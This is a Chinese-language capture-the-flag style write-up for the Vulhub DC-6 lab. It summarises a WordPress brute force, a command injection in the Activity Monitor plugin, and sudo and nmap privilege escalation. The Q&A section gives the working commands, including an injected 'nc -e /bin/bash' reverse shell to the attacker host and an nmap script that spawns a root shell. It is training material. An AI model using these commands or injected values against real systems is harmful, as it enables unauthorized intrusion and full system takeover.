Vulhub 靶场训练 DC-6解析
内容提要
本文介绍了使用Kali进行渗透测试的步骤，包括信息收集、后台爆破、漏洞利用和提权。最终找到了flag。
延伸解读
WordPress 版本与攻击路径
文章指出 DC-6 靶机使用 WordPress 5.1.1，攻击者据此先枚举用户名，再结合 rockyou 字典中筛选出的 k01 相关密码进行爆破，最终获得 mark 账号。这提示在实际渗透中，CMS 版本信息往往能直接决定后续的枚举与爆破策略，而弱密码和字典筛选是常见突破口。
Activity Monitor 插件的命令注入
后台的 Activity Monitor 工具存在可注入点，文章通过 Burp 抓包修改数据包，在输入中附加管道符和 whoami 命令，发现命令被执行，进而反弹 shell。这说明对于回显用户输入的功能，应重点测试命令拼接与管道符等特殊字符，抓包重放是验证漏洞的有效手段。
多级提权链的利用逻辑
获取初始 shell 后，文章在 mark 目录下找到 graham 的凭据，通过 SSH 登录后利用 sudo 权限以 jens 身份运行 backups.sh，再借助 jens 可免密以 root 运行 nmap 的配置，通过 nmap 脚本执行 os.execute 获得 root shell。这展示了提权中逐步收集凭据、滥用 sudo 配置和旧版工具特性的典型链条。
靶场练习的注意点
文章在信息收集阶段使用 arp-scan、netdiscover 和 nmap 探测主机，并修改 hosts 文件绑定域名 wordy，以便后续工具正常访问。这提醒读者在复现时需确保攻击机与靶机网络适配器一致，并正确配置域名解析，否则可能影响 CMS 识别和爆破工具的使用。
Q&A
Vulhub DC-6靶场渗透测试中，如何发现靶机的IP地址和开放端口？
可以使用arp-scan -l、netdiscover -i eth0 -r 192.168.200.0/24或nmap -sP 192.168.200.0/24 -T4探测存活主机。发现靶机IP后，使用nmap -sS -A 192.168.200.7 -p 1-65535扫描开放端口，发现80和22端口开放。
DC-6靶机使用的CMS是什么版本？如何爆破后台账号密码？
靶机使用WordPress 5.1.1。使用wpscan枚举用户名：wpscan --url http://wordy -e u，将用户名保存到user.txt。用cewl生成密码字典，或从rockyou.txt中提取包含k01的密码：cat /usr/share/wordlists/rockyou.txt | grep k01 > pwd.txt。然后爆破：wpscan --url wordy -U user.txt -P pwd.txt，得到账号mark，密码helpdesk01。
在DC-6靶场中，如何利用activity monitor工具漏洞获取shell？
登录后台后，发现activity monitor工具的tools存在可注入点。输入qquhu.com并抓包，发现管道符后的whoami被执行，确认存在命令注入。将包改为qq.com | nc -e /bin/bash 192.168.200.14 6666，同时在Kali上监听nc -lvvp 6666，即可反弹shell。之后用python -c 'import pty;pty.spawn("/bin/bash")'获取交互式shell。
在DC-6靶场中，如何从mark用户提权到graham用户？
在mark目录下找到things-to-do文件，发现graham的账号密码。由于靶机开启22端口，尝试ssh登录：ssh graham@192.168.200.7，使用找到的密码登录成功。
DC-6靶场中，如何利用sudo和nmap进行提权？
首先，graham用户可以免密以jens身份运行/home/jens/backups.sh。向backups.sh写入/bin/bash，然后执行sudo -u jens ./backups.sh，切换到jens的shell。接着，jens用户可以免密以root身份运行/usr/bin/nmap。创建文件getshell，内容为os.execute('/bin/bash')，然后执行sudo nmap --script=getshell，即可获得root shell。
DC-6靶场渗透测试的最终flag在哪里找到？
通过nmap提权获得root权限后，在root目录下发现flag。
